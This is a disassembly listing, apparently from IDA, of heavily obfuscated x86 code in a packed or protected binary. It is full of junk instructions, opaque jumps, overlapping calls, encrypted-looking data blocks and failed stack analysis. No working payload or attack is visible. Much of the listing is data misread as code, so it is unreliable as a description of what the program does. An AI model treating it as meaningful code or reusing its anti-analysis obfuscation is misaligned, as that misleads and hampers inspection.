		or	bx, 2482h


loc_5D57BF:				; CODE XREF: sub_5D5664+150j
		mov	edx, 57966E0h
		mov	di, 9989h
		movzx	ebx, bx
		mov	cx, si
		xor	edx, 2B1DCE87h
		and	ecx, 4BF03563h
		jmp	loc_5D57E6
; END OF FUNCTION CHUNK	FOR sub_5D5664
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0D972D56Eh
		db 80h,	74h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D5664


loc_5D57E6:				; CODE XREF: sub_5D5664+176j
		movzx	edx, bx
		mov	bx, 75Fh
		call	sub_5D57F8
		push	ecx
		test	al, 0BCh
		stosb
		inc	ebp
		into
; END OF FUNCTION CHUNK	FOR sub_5D5664

; =============== S U B	R O U T	I N E =======================================



sub_5D57F8	proc near		; CODE XREF: sub_5D5664+189p
		mov	esi, ecx
		pop	ecx
		jl	loc_5D5803
		mov	bh, 8


loc_5D5803:				; CODE XREF: sub_5D57F8+3j
		mov	ch, 61h
		cmc
		cld
		jmp	loc_5D5817
; ---------------------------------------------------------------------------
		dd 4C9FDFB9h, 203155BEh
		db 39h,	0C0h, 7Fh
; ---------------------------------------------------------------------------


loc_5D5817:				; CODE XREF: sub_5D57F8+Fj
		clc
		sbb	ax, 0B2A8h
		mov	cx, si
		sbb	bl, 65h
		call	near ptr loc_5D582C+4
		cdq
		pop	esi
		cmc
		pop	esi


loc_5D582C:				; CODE XREF: sub_5D57F8+2Bp
		mov	ecx, 0FB300D7h
sub_5D57F8	endp ; sp-analysis failed

		mov	es, word ptr [ebx]
; ---------------------------------------------------------------------------
		db 0
		dd 8B660000h, 7E958D9h,	7E000000h, 4E067E24h, 8B66E322h
		dd 5953F9C1h, 0AC52BA66h, 0BE9h, 0E4A40B00h, 147A6346h
		dd 0D705E53Dh, 0FDABF0Fh, 183h,	8B66F500h, 0CABF0FFEh
		dd 5E8C38Bh, 6B000000h,	8BAB01F3h, 58DF8B66h, 0BEDFB70Fh
		dd 2A2DD025h, 66E58A60h, 614957BFh, 3870Fh, 0BF0F0000h
		dd 0E8C0FF0h, 0E9000000h, 9, 4D2DC2C6h,	0F55CCE6Bh, 511FB024h
		dd 5E9h, 4DD75C00h, 6659381Dh, 2A06F781h, 13E9F78Bh, 3B000000h
		dd 5BF4D1F3h, 0B79F10DDh, 5F424665h, 50476110h,	80F96CC0h
		dd 9E989DDh, 8F000000h,	6C2BA271h, 5FE8925Eh, 0B666E181h
		dd 55B54BD7h, 9E9h, 0D7517600h,	0C60E9B68h, 0AE97914h
		dd 9C000000h, 4AA9B11Dh, 4AE1BB65h, 0C135BAADh,	0D78A3F8Dh
		dd 0BD68AEBBh, 465FB971h, 12E92E68h, 0E0000000h, 0F622137Fh
		dd 0AFC66B85h, 0E5B18197h, 916B4E41h, 0FF5B09Bh, 2485h
		dd 0CE800h, 0E8B80000h,	4CC6F6C5h, 472BBB37h, 0DE9BB0Ah
		dd 14000000h, 0A06B20Bh, 8F75F034h, 0FE13FBF8h,	0E281665Eh
		dd 8E92E6Ah, 0C5000000h, 0BEFB35EFh, 0E843DC0Ah, 10h, 0E010CD1h
		dd 392F7F4Ch, 8288F25h,	94CC8B7Fh, 5FDEBF0Fh, 0DE8h, 0A5FF4B00h
		dd 0CC630027h, 7EE667CCh, 3EBE9150h, 5B56642Fh,	0DBF68166h
		dd 0FC38B8Ch, 0B8Eh, 6E900h, 0CFA10000h, 99F81D8Dh, 8D0F21B6h
		dd 10h,	9E956h,	0C41B0000h, 0D30466BBh,	5E21109Fh, 8BFAB70Fh
		dd 0FC28BCFh, 58Dh, 0C7816600h,	0C38BB6BCh, 5830Fh, 81660000h
		dd 666778CBh, 8D0FCE8Bh, 5, 48D78166h, 0C8816677h, 13E966D5h
		dd 0F5000000h, 22D4C6CEh, 208DF821h, 44FF2405h,	345900FDh
		dd 6E98999h, 6B000000h,	0D71D5242h, 2BBF66C4h, 0E959B0D3h
		dd 8, 795DE505h, 9DEFBD7Ch, 0BF66F28Bh,	890FF054h, 2, 12E9E9B0h
		dd 3B000000h, 0B760FE18h, 4BC4ABBCh, 95D2DC6Bh,	0D79705A5h
		dd 9EF1811Eh, 8162A308h, 0B08EDEEAh, 7E93Fh, 84150000h
		dd 9F9034EAh, 66C78B37h, 9394C681h, 8EEA8166h, 0C797BBB1h
		dd 0CE9412Eh, 11000000h, 0AE5C797Dh, 2AE9D643h,	0E93F58B1h
		dd 10h,	0ED302F40h, 6F7AB4Dh, 0CD8588A5h, 0D6586284h, 0FE9h
		dd 0E6F0EF00h, 6A7D421h, 0F9C25AD5h, 4508DE84h,	0B94FE381h
		dd 860F0596h, 16h, 11E9h, 17F5E100h, 95A779B6h,	0CD5292D8h
		dd 96123D9Bh, 60539092h, 0F59D980h, 5861DBBFh, 860FFB8Bh
		dd 9, 0DAD7BE60h, 0FB418A7h, 0FEBF0F61h, 94B3B8F5h, 0DE862CDh
		dd 0CC000000h, 0D50490F3h, 7EECC100h, 0D822D51Eh, 0DE9h
		dd 0C6521500h, 66EF60h,	0B84A2A68h, 0F5B2215h, 389h, 0CEBF0F00h
		dd 0B9CA8B66h, 471B1978h, 69CB8166h, 0B866F80Ah, 0CE95ED1h
		dd 0D5000000h, 7C113451h, 0A2A21E15h, 60C2CAFEh, 0BE8h
		dd 0BDDC0C00h, 0D8BFB08Fh, 0EC7A0B3Ch, 0C7D18166h, 0F615FF9h
		dd 0AE8C7BFh, 5D000000h, 0EFBD7C79h, 8609E39Dh,	28B0F85h
		dd 57000000h, 0E8F85A5Fh, 9, 0B734361h,	0DC04A963h, 7E975h
		dd 0B95C0000h, 99B80E75h, 0B6605F95h, 60F860CDh, 66616161h
		dd 0BA66F38Bh, 14E94B2Bh, 30000000h, 6FD3D4FDh,	0FD216162h
		dd 0A79B1F1Bh, 79E63817h, 0BFC674F7h, 4F311202h, 81D38B66h
		dd 849BB3C8h, 0A892BF0Ah, 0EF817F22h, 4F44525h,	0CB8BD08Bh
		dd 52C3BF0Fh, 6E960h, 58C80000h, 3AD5E69Ch, 8C0Fh, 5E610000h
		dd 38E0F60h, 0F000000h,	0F61CFB7h, 98Eh, 3850F00h, 80000000h
		dd 8F0F73D4h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D5C45
; ---------------------------------------------------------------------------
		db 23h,	0F4h, 5Dh
		dd 0D8EECA32h, 0F8319D85h, 0AFEA613Dh, 70A636EBh
		db 65h
; ---------------------------------------------------------------------------


loc_5D5C45:				; CODE XREF: ud2_____:005D5C2Cj
		push	edi
		sbb	edx, 3314197Ch
		pop	eax
		or	bx, 894Ah
		mov	dx, 0B266h
		mov	eax, ebx
		stc
		jz	loc_5D5C61
		mov	al, bh


loc_5D5C61:				; CODE XREF: ud2_____:005D5C59j
		call	sub_5D5C77
		iret
; ---------------------------------------------------------------------------
		db 0FEh
		dd 16C14A6Dh, 0A84EECB1h, 0A289B513h
; ---------------------------------------------------------------------------
		adc	esi, [edi+11h]

; =============== S U B	R O U T	I N E =======================================



sub_5D5C77	proc near		; CODE XREF: ud2_____:loc_5D5C61p
		push	eax
		mov	al, 0F4h
		pop	edi
		pop	ebx
		push	ecx
		mov	ax, 33C0h
		pop	ecx
		call	near ptr loc_5D5C97+3
		pop	ecx
		mov	edx, 251AE799h


loc_5D5C8D:				; CODE XREF: sub_5D5C77:loc_5D5C8Dj
		loop	loc_5D5C8D
		or	bl, [ecx+ecx]
		leave
		out	0B8h, al	; Interrupt Controller #2, 8259A
		add	[edx], eax


loc_5D5C97:				; CODE XREF: sub_5D5C77+Bp
		sbb	ds:0BFED8012h, ebp
sub_5D5C77	endp ; sp-analysis failed

		pop	eax
		mov	dl, 53h
		jnz	loc_5D5CA8
		mov	edx, eax


loc_5D5CA8:				; CODE XREF: ud2_____:005D5CA0j
		call	near ptr loc_5D5CB9+1
		mov	ch, 0C0h
		wait
		db	26h
		popf
		adc	al, 8Eh
		pop	ds
		aam	0B5h
		and	al, 2Fh


loc_5D5CB9:				; CODE XREF: ud2_____:loc_5D5CA8p
		adc	al, 0B4h
		xor	[ebx+66h], ebx
		mov	edx, ebx
		adc	bx, 0B412h
		jo	$+6
		pusha
		adc	esi, 752140BFh
		mov	ax, si
		popa
		pusha
		and	edi, 4BD3A9Dh
		sub	ebx, 4DEACE2Ah
		popa
		jnp	loc_5D5CEC
		mov	eax, edi


loc_5D5CEC:				; CODE XREF: ud2_____:005D5CE4j
		mov	ax, dx
		jmp	loc_5D5D04
; ---------------------------------------------------------------------------
		dd 0CA4C0B3Eh, 23C7ECF8h, 65C78E2Ch, 0C42E6456h
; ---------------------------------------------------------------------------


loc_5D5D04:				; CODE XREF: ud2_____:005D5CEFj
		movsx	edi, cx
		mov	ebx, 5C2F6E1Ah
		call	sub_5D5D25
		call	far ptr	0C97Dh:21E1800Ch ; CODE	XREF: sub_5D5D25+4Aj
		rol	byte ptr [eax+0Ch], cl
		inc	esi
		fild	dword ptr [esi+esi*4]
		clc
		dec	eax
		mov	byte ptr [esi],	0D8h
		cmc

; =============== S U B	R O U T	I N E =======================================



sub_5D5D25	proc near		; CODE XREF: ud2_____:005D5D0Cp
		jns	$+6
		pop	esi
		xor	eax, 20DA4515h
		mov	ax, 4C1Dh
		mov	bh, al
		stc
		stc
		movsx	eax, si
		mov	ecx, 3BC46299h
		jns	loc_5D5D4C
		mov	ax, 0AEE9h


loc_5D5D4C:				; CODE XREF: sub_5D5D25+1Dj
		jmp	loc_5D5D58
; ---------------------------------------------------------------------------
		sar	dword ptr ds:0F0B1329Ah, cl
		dec	eax


loc_5D5D58:				; CODE XREF: sub_5D5D25:loc_5D5D4Cj
		movsx	eax, ax
		mov	cl, al
		call	sub_5D5D72
		aaa
		and	byte ptr [edx],	0D5h
		pop	esi
		sbb	ecx, edx
		mov	ds:84B0AECBh, al
		cmpsd
		jbe	short near ptr loc_5D5D11+2
		dec	edx
sub_5D5D25	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D5D72	proc near		; CODE XREF: sub_5D5D25+38p
		movzx	eax, ax
		pop	ecx
		pusha
		sub	ecx, 56F3743h
		sbb	ecx, 43B31BB2h
		popa
		mov	ah, 5Ah
		xor	esi, 62CC24DDh
		pusha
		jnp	loc_5D5D95
		pusha
		popa


loc_5D5D95:				; CODE XREF: sub_5D5D72+1Bj
		add	esi, 6F193C7Ch
		popa
		movsx	edx, bx
		sbb	si, 4114h
		sub	bx, 0D42Fh
		jbe	loc_5D5DB5
		and	edx, 6516E811h


loc_5D5DB5:				; CODE XREF: sub_5D5D72+37j
		push	edi
		jmp	loc_5D5DCD
; ---------------------------------------------------------------------------
		db 77h
		dd 42253A3Bh, 72C7553Ch, 9CAB34E3h, 0C011A0Bh
; ---------------------------------------------------------------------------
		push	ecx


loc_5D5DCD:				; CODE XREF: sub_5D5D72+44j
		pop	ecx
		jmp	loc_5D5DDC
; ---------------------------------------------------------------------------
		db 0D4h
		dd 95FDA398h, 2DC8BCE6h
; ---------------------------------------------------------------------------


loc_5D5DDC:				; CODE XREF: sub_5D5D72+5Cj
		sub	ecx, 5B56AF0Dh
		mov	di, cx
		pusha
		pusha
		sbb	ebx, 46648325h
		sub	dl, 6Ah
		popa
		popa
		pusha
		jmp	loc_5D5E06
; ---------------------------------------------------------------------------
		or	[esi-43h], dh


loc_5D5DFB:				; CODE XREF: sub_5D5E20+14j
		rcr	dword ptr [esi], 1
		xchg	bl, ds:0F72625A6h
		sbb	ebp, ecx


loc_5D5E06:				; CODE XREF: sub_5D5D72+81j
		jge	loc_5D5E0F
		mov	di, bx


loc_5D5E0F:				; CODE XREF: sub_5D5D72:loc_5D5E06j
		popa
		mov	edi, 6A1A548Ch
		call	near ptr sub_5D5E20
		push	ebx
		cmc
		xor	eax, eax
		inc	edi
		dec	ecx
sub_5D5D72	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D5E20	proc far		; CODE XREF: sub_5D5D72+A3p
		jle	$+6
		pop	edi
		cmc
		mov	esi, eax
		mov	eax, edi
		jmp	loc_5D5E3D
; ---------------------------------------------------------------------------
		db 24h,	0A1h, 0F4h
; ---------------------------------------------------------------------------
		jmp	short loc_5D5DFB
; ---------------------------------------------------------------------------
		dw 0BCD7h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0B0h, 0BBh, 82h
		db 69h
; ---------------------------------------------------------------------------


loc_5D5E3D:				; CODE XREF: sub_5D5E20+Cj
		mov	edi, ebx
		pusha
		jp	$+6
		sbb	bl, 8Fh
		popa
		call	near ptr loc_5D5E5C+4
		out	0C1h, ax	; DMA controller, 8237A-5.
					; channel 0 base address and word count
		or	esp, esp
		xchg	eax, ebp
		inc	edi
		les	esi, [edi]
		and	ebx, [eax+edx*4]
		pop	ss


loc_5D5E5C:				; CODE XREF: sub_5D5E20+2Ap
		imul	ebp, [eax-7499613Ah], -39h
sub_5D5E20	endp ; sp-analysis failed

		pop	ebx
		jmp	loc_5D5E7D
; ---------------------------------------------------------------------------
		db 48h,	77h, 2Ch
		dd 0ED3198A2h, 33BE0284h, 3FDE65BFh, 863A02E8h
		db 0F0h
; ---------------------------------------------------------------------------


loc_5D5E7D:				; CODE XREF: ud2_____:005D5E64j
		clc
		or	ecx, 0DD79BBEh
		push	esi
		jo	$+6
		pop	ecx
		add	ax, 4CA6h
		movzx	esi, bx
		clc
		clc
		mov	ecx, 2624E0F5h
		jmp	loc_5D5EAC
; ---------------------------------------------------------------------------
		dd 85BF937Ch, 0DB989C6Ah, 0C6A62466h
; ---------------------------------------------------------------------------


loc_5D5EAC:				; CODE XREF: ud2_____:005D5E9Bj
		call	sub_5D5EB7
		and	[ecx], bl
		mov	bl, 0D6h
		fldlg2

; =============== S U B	R O U T	I N E =======================================



sub_5D5EB7	proc near		; CODE XREF: ud2_____:loc_5D5EACp
		pusha
		add	esi, 6630C65Eh
		mov	bl, dh
		popa
		pop	edi
		jz	loc_5D5ECC
		pusha
		push	edi
		pop	esi
		popa


loc_5D5ECC:				; CODE XREF: sub_5D5EB7+Bj
		mov	eax, 6CE0BF0Ah
		jo	loc_5D5EE7
		jmp	loc_5D5EE7
; ---------------------------------------------------------------------------
		dd 0BA5731E2h, 9BB1FFF7h
; ---------------------------------------------------------------------------
		sal	ebp, 0F7h


loc_5D5EE7:				; CODE XREF: sub_5D5EB7+1Aj
					; sub_5D5EB7+20j
		adc	ch, 27h
		movsx	edx, si
		mov	eax, 6D67D514h
		adc	esi, 65CEFB6Eh
		or	bl, 0A0h
		jmp	loc_5D5F13
; ---------------------------------------------------------------------------
		dd 0C4F4FC21h, 0BBB34C82h, 671577A7h, 0B0975819h
		db 97h,	0D8h, 0A4h
; ---------------------------------------------------------------------------


loc_5D5F13:				; CODE XREF: sub_5D5EB7+44j
		mov	esi, eax
		mov	bx, di
		cld
		mov	si, 3518h
		jno	loc_5D5F2D
		jmp	loc_5D5F2D
; ---------------------------------------------------------------------------
		dd 6D4F9F98h
		db 0D1h
; ---------------------------------------------------------------------------


loc_5D5F2D:				; CODE XREF: sub_5D5EB7+66j
					; sub_5D5EB7+6Cj
		jmp	loc_5D5F39
; ---------------------------------------------------------------------------
		mov	edx, 5FF4B5A4h
		xchg	eax, edx
		aas


loc_5D5F39:				; CODE XREF: sub_5D5EB7:loc_5D5F2Dj
		mov	ax, di
		mov	dl, 0C2h
		or	di, 5172h
		pusha
		adc	ecx, 5215E028h
		or	dx, 0E8FBh
		popa
		jmp	loc_5D5F5A
; ---------------------------------------------------------------------------
		xor	ch, 60h
		add	al, 0A5h


loc_5D5F5A:				; CODE XREF: sub_5D5EB7+99j
		mov	si, bx
		mov	di, 2E0Ch	; CODE XREF: sub_5D5F92+2Fj
		add	si, 0AB09h
		ja	loc_5D5F71
		mov	ecx, 5D2922EDh


loc_5D5F71:				; CODE XREF: sub_5D5EB7+AFj
		jmp	loc_5D5F7F
; ---------------------------------------------------------------------------
		dw 20DFh
		dd 871D82A7h
		db 65h,	16h, 0FDh
; ---------------------------------------------------------------------------


loc_5D5F7F:				; CODE XREF: sub_5D5EB7:loc_5D5F71j
		pusha
		stc
		clc
		popa
		call	sub_5D5F92
		in	al, 41h		; Timer	8253-5 (AT: 8254.2).
		pop	edi
		cdq
		xchg	eax, edx
		test	eax, 9C5013D5h
sub_5D5EB7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D5F92	proc near		; CODE XREF: sub_5D5EB7+CCp
		jnb	loc_5D5F9D
		adc	dx, 4BB3h


loc_5D5F9D:				; CODE XREF: sub_5D5F92j
		pop	edi
		pusha
		push	edx
		clc
		pop	eax
		popa
		sub	cl, 2Ch
		add	dx, 0FA1Fh
		mov	cl, 0EFh
		mov	dx, 0B822h
		jbe	loc_5D5FBA
		mov	si, di


loc_5D5FBA:				; CODE XREF: sub_5D5F92+1Fj
		mov	ch, 8Ah
		call	near ptr loc_5D5FD4+1
		jl	short near ptr loc_5D5F5D+1
		and	ch, dh
		rcr	dl, 7Eh
		cld
		mov	ecx, [ebx+41B53B88h]
		mov	esi, 0CDC6D70h


loc_5D5FD4:				; CODE XREF: sub_5D5F92+2Ap
		and	bh, al
sub_5D5F92	endp ; sp-analysis failed

		pop	ecx
		jmp	loc_5D5FEC
; ---------------------------------------------------------------------------
		dd 3EB8ABEh, 0BF6B5CA4h, 563A32EDh, 872AAFC3h
; ---------------------------------------------------------------------------


loc_5D5FEC:				; CODE XREF: ud2_____:005D5FD7j
		push	edi
		pop	eax
		mov	dx, cx
		jmp	loc_5D6007
; ---------------------------------------------------------------------------
		dw 82EFh
		dd 774E9595h, 5B10D962h, 3A3A8E09h
		db 0Eh,	77h, 0A2h
; ---------------------------------------------------------------------------


loc_5D6007:				; CODE XREF: ud2_____:005D5FF1j
		jo	loc_5D6010
		sbb	bl, 16h


loc_5D6010:				; CODE XREF: ud2_____:loc_5D6007j
		pusha
		mov	ecx, edx
		mov	dh, ah
		popa
		mov	edx, 178985B7h
		mov	eax, ecx
		jmp	loc_5D602F
; ---------------------------------------------------------------------------
		dw 8147h
; ---------------------------------------------------------------------------
		shl	dword ptr [ebx-21h], 19h
		and	[ecx-27h], dl
		movsd
		xchg	eax, ecx
		lea	edi, [edi]


loc_5D602F:				; CODE XREF: ud2_____:005D601Dj
		jmp	loc_5D603F
; ---------------------------------------------------------------------------
		dd 0F5AF94DAh, 0EC68F275h
		db 57h,	0CFh, 63h
; ---------------------------------------------------------------------------


loc_5D603F:				; CODE XREF: ud2_____:loc_5D602Fj
		xor	dh, 9Fh
		mov	di, si
		movsx	esi, di
		jmp	loc_5D6057
; ---------------------------------------------------------------------------
		db 7Fh,	0AEh, 0DCh
		dd 0E6541C07h
		db 9Dh,	54h, 0E1h
; ---------------------------------------------------------------------------


loc_5D6057:				; CODE XREF: ud2_____:005D6048j
		pusha
		jmp	loc_5D606E
; ---------------------------------------------------------------------------
		db 0CFh, 2Eh, 7Dh
; ---------------------------------------------------------------------------
		mov	al, ds:0B64F02A7h
		mov	eax, ds:4B68A796h
		scasd
		adc	ch, 0BEh


loc_5D606E:				; CODE XREF: ud2_____:005D6058j
		mov	ecx, edx
		popa
		mov	al, 7Ah
		xor	edx, 551DFCF1h
		mov	dx, cx
		and	si, 3953h
		jmp	loc_5D608C
; ---------------------------------------------------------------------------
		dw 8DE3h
		dd 0C2D86569h
; ---------------------------------------------------------------------------


loc_5D608C:				; CODE XREF: ud2_____:005D6081j
		mov	eax, edi
		movsx	esi, dx
		jmp	loc_5D60A0
; ---------------------------------------------------------------------------
		dw 0D311h
		dd 0C71A391Ah, 0A11173B1h
; ---------------------------------------------------------------------------


loc_5D60A0:				; CODE XREF: ud2_____:005D6091j
		mov	ebx, eax
		jmp	loc_5D60B0
; ---------------------------------------------------------------------------
		db 0E0h
		dd 879C075Ch, 6D05FB0Ah
; ---------------------------------------------------------------------------


loc_5D60B0:				; CODE XREF: ud2_____:005D60A2j
		clc
		stc
		jno	loc_5D60BB
		or	dl, 0A9h


loc_5D60BB:				; CODE XREF: ud2_____:005D60B2j
		jmp	loc_5D60C8
; ---------------------------------------------------------------------------
		dd 0DD21C14Fh, 2622632Eh
; ---------------------------------------------------------------------------


loc_5D60C8:				; CODE XREF: ud2_____:loc_5D60BBj
		jmp	loc_5D60D7
; ---------------------------------------------------------------------------
		db 67h,	69h, 0FFh
		dd 0C488AE33h
		db 56h,	0E5h, 0A0h
; ---------------------------------------------------------------------------


loc_5D60D7:				; CODE XREF: ud2_____:loc_5D60C8j
		mov	di, 7343h
		or	ax, 0DCD3h
		mov	esi, edx
		mov	cl, ah
		jno	loc_5D6103
		jmp	loc_5D6103
; ---------------------------------------------------------------------------
		db 3Fh
		dd 0BCC13093h, 0C3BA8B0Dh, 4AE5E0B3h, 1C27A1C9h
		db 74h,	95h, 97h
; ---------------------------------------------------------------------------


loc_5D6103:				; CODE XREF: ud2_____:005D60E4j
					; ud2_____:005D60EAj
		pusha
		call	sub_5D6115
		pop	edi
		aas
		mov	ds:97343FDAh, eax
		in	al, dx
		hlt
; ---------------------------------------------------------------------------
		dw 0AD74h
		db 71h

; =============== S U B	R O U T	I N E =======================================



sub_5D6115	proc near		; CODE XREF: ud2_____:005D6104p
		call	sub_5D611F
		inc	ebp
		in	al, dx
		and	ah, 94h
sub_5D6115	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5D611F	proc near		; CODE XREF: sub_5D6115p

; FUNCTION CHUNK AT 005D6190 SIZE 00000012 BYTES

		pop	esi
		pop	esi
		or	si, 700Ah
		popa
		pusha
		jmp	loc_5D613F
; ---------------------------------------------------------------------------
		db 3Bh,	18h, 0FEh
		dd 0ABBCB760h, 0DC6B4BC4h, 5A595D2h
; ---------------------------------------------------------------------------
		xchg	eax, edi
		xlat
		push	ds


loc_5D613F:				; CODE XREF: sub_5D611F+9j
		mov	bx, 3575h
		popa
		push	edi
		and	ebx, 328C0782h
		pop	edi
		mov	dh, 6Eh
		mov	esi, 590C7F94h
		mov	edi, 1896CB97h
		movzx	ecx, ax
		call	near ptr loc_5D616E+2
		aad	0FDh
		cmpsd
		fldenv	byte ptr [ebx+5C7ADB0Ch]
		loope	loc_5D6190
		cmpsd
		mov	cl, 0D3h


loc_5D616E:				; CODE XREF: sub_5D611F+3Cp
		cmp	cl, ds:0A6AF78B9h
sub_5D611F	endp ; sp-analysis failed

		sbb	eax, 0CE95Fh
; ---------------------------------------------------------------------------
		db 2 dup(0), 0C5h
		dd 8A54503Bh, 75D8BE59h, 66FEE6E7h, 0E93A0DB8h,	0Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5D611F


loc_5D6190:				; CODE XREF: sub_5D611F+4Aj
		call	far ptr	590Eh:4732E6Dh
		mov	edx, 801AE799h
		lock and byte ptr [esi-7Fh], 0D7h
		hlt
; END OF FUNCTION CHUNK	FOR sub_5D611F
; ---------------------------------------------------------------------------
		dw 0E90Fh
		dd 6, 8CD15B78h, 8A6067D3h, 61F48ADAh, 0CE9h, 0A61B5E00h
		dd 0A6DC7FC3h, 57A1198Eh, 67B8F5AAh, 8B281F64h,	0EE860F7h
		dd 0A9000000h, 0C0776CB2h, 8BFE04Dh, 7A84256Ch,	0C281668Fh
		dd 615F6223h, 58C0Fh, 0FBF0000h, 0F93882EDh, 0E8D68B66h
		dd 7, 1592ADE7h, 60F20BD4h, 8C0Fh, 0CA810000h, 351A098Bh
		dd 0FF55F61h, 988h, 3830F00h, 0F000000h, 0B70FDABFh, 80BE66C1h
		dd 0C9B8609Dh, 8B7C6AB0h, 800F61C3h, 0
; ---------------------------------------------------------------------------
		jl	loc_5D6249
		jmp	loc_5D6249
; ---------------------------------------------------------------------------
		pop	edx
		push	ss
		les	edx, [esi+ecx*4+5Fh]


loc_5D6249:				; CODE XREF: ud2_____:005D6238j
					; ud2_____:005D623Ej
		mov	ch, 29h
		jg	$+6
		jnb	loc_5D625C
		mov	ebx, 5644BCA8h


loc_5D625C:				; CODE XREF: ud2_____:005D6251j
		jmp	loc_5D626C
; ---------------------------------------------------------------------------
		xor	[edx-61h], bl
		adc	ds:0D6D46A0Dh, esi
		test	bh, ch


loc_5D626C:				; CODE XREF: ud2_____:loc_5D625Cj
		mov	esi, 33CEAA69h
		mov	bl, 0EDh
		add	dx, 1F93h
		jmp	loc_5D628D
; ---------------------------------------------------------------------------
		push	sp
		xor	[eax+7927340Fh], bl


loc_5D6285:				; CODE XREF: ud2_____:005D62D5j
		xchg	dh, [ebp-3Bh]
		icebp
		dec	edx
		pop	ebp
; ---------------------------------------------------------------------------
		db 38h
		db 8Ch
; ---------------------------------------------------------------------------


loc_5D628D:				; CODE XREF: ud2_____:005D6278j
		clc
		pusha
		push	ebx
		mov	ecx, 713227DEh
		pop	edx
		mov	ch, dl
		popa
		mov	dh, bl
		xor	ax, 0BACh
		mov	esi, 3E2263F6h
		jmp	loc_5D62B0
; ---------------------------------------------------------------------------
		dw 9A57h
		dd 1C2B3264h
; ---------------------------------------------------------------------------


loc_5D62B0:				; CODE XREF: ud2_____:005D62A5j
		mov	al, 98h
		mov	edx, eax
		mov	cx, dx
		mov	ebx, edi
		mov	ecx, 33A08166h	; CODE XREF: ud2_____:005D6301j
		mov	bx, 0E694h
		mov	edi, esi
		pusha
		call	near ptr loc_5D62D7+1
		push	ebx
		fstp	qword ptr [eax+2C1EB732h]
		jnp	short near ptr loc_5D62F1+3
		xlat
		clc
		jnb	short loc_5D6285


loc_5D62D7:				; CODE XREF: ud2_____:005D62C5p
		enter	0F5Bh, 0B7h
		fisub	dword ptr [ecx-80h]
		icebp
		push	ds
		jo	loc_5D62E8
		mov	edi, eax


loc_5D62E8:				; CODE XREF: ud2_____:005D62E0j
		mov	cx, 0E748h
		movsx	edx, dx
		pusha
		clc


loc_5D62F1:				; CODE XREF: ud2_____:005D62D1j
		call	sub_5D6308
		inc	ecx
		jbe	short near ptr loc_5D634B+2
		sbb	byte ptr [ecx-4Ch], 0A8h
		leave
		push	edi
		add	bl, [edi]
		js	short near ptr loc_5D62B9+3
		fscale
		add	edi, 40h

; =============== S U B	R O U T	I N E =======================================



sub_5D6308	proc near		; CODE XREF: ud2_____:loc_5D62F1p
		pusha
		popa
		pop	edx
		popa
		mov	ah, 0C7h
		mov	ecx, edi
		pusha
		cmc
		or	ecx, 15F88B61h
		popa
		clc
		mov	al, dh
		and	eax, 292D89A2h
		pusha
		jmp	loc_5D6336
; ---------------------------------------------------------------------------
		dd 531F6381h, 0A8262CFBh, 2D285ABBh
		db 0EBh, 3Ch
; ---------------------------------------------------------------------------


loc_5D6336:				; CODE XREF: sub_5D6308+1Bj
		jmp	loc_5D6344
; ---------------------------------------------------------------------------
		db 3Bh
		dd 0CD23B671h, 0C04ED442h
; ---------------------------------------------------------------------------


loc_5D6344:				; CODE XREF: sub_5D6308:loc_5D6336j
		popa
		or	esi, 1FD05DF3h


loc_5D634B:				; CODE XREF: ud2_____:005D62F7j
		jmp	loc_5D6362
; ---------------------------------------------------------------------------
		dd 6F0043C0h, 7A420349h, 0ECFC79DDh, 70223DEBh
		db 21h,	0BEh
; ---------------------------------------------------------------------------


loc_5D6362:				; CODE XREF: sub_5D6308:loc_5D634Bj
		pusha
		and	cl, 0D4h
		pusha
		mov	ecx, ebx
		call	near ptr loc_5D6374+1
		mov	ebx, 0FDCEFA74h
		push	edx


loc_5D6374:				; CODE XREF: sub_5D6308+61p
		db	3Eh
		pop	edi
sub_5D6308	endp ; sp-analysis failed

		popa
		popa
		call	near ptr sub_5D638E
		outsd
		push	ebp
		test	al, 80h
		insd
		in	al, dx
		jmp	far ptr	0FF65h:5644828Ch
; ---------------------------------------------------------------------------
		dw 85DFh
		db 4Ah,	0E9h

; =============== S U B	R O U T	I N E =======================================



sub_5D638E	proc far		; CODE XREF: ud2_____:005D6378p
		pop	edi
		mov	ecx, eax
		adc	dl, 70h
		mov	bx, 0A602h
		mov	ax, 60Dh
		mov	cl, dh
		mov	ax, 0B7DEh
		jl	loc_5D63AB
		mov	di, cx


loc_5D63AB:				; CODE XREF: sub_5D638E+14j
		movsx	edx, dx
		mov	ax, cx
		mov	bx, 0CE26h
		mov	dh, 0D4h
		and	esi, 208F12C8h
		call	sub_5D63D4
		xor	[ebx+0BF54DBFh], cl
		std
		int	0ECh		; used by BASIC	while in interpreter
		dec	edx
		retf	0B416h
sub_5D638E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0CFh
		dd 0A8A756E6h

; =============== S U B	R O U T	I N E =======================================



sub_5D63D4	proc near		; CODE XREF: sub_5D638E+2Fp
		pop	edx
		pusha
		jns	loc_5D63E1
		sbb	di, 4F46h


loc_5D63E1:				; CODE XREF: sub_5D63D4+2j
		mov	cx, ax
		popa
		push	esi
		mov	dl, 0CAh
		pop	eax
		jmp	loc_5D63F5
; ---------------------------------------------------------------------------
		pop	bp


loc_5D63F0:				; CODE XREF: ud2_____:005D6448j
		cld
		nop
		aaa
		lahf
		push	esp


loc_5D63F5:				; CODE XREF: sub_5D63D4+15j
		push	ebx
		jmp	loc_5D6409
; ---------------------------------------------------------------------------
		db 0E9h
		dd 741861DBh, 0F89A0361h, 0D1BF7F5Ch
		db 28h
; ---------------------------------------------------------------------------


loc_5D6409:				; CODE XREF: sub_5D63D4+22j
		pop	edi
		mov	bx, 49B3h
		jmp	loc_5D6422
; ---------------------------------------------------------------------------
		db 6Ch
		dd 1C4898Fh, 0B8BDC796h, 9E64C65Eh
		db 71h,	3
; ---------------------------------------------------------------------------


loc_5D6422:				; CODE XREF: sub_5D63D4+3Aj
		push	eax
		call	near ptr loc_5D6432+4 ;	CODE XREF: ud2_____:005D6444j
		dec	edi
		xlat
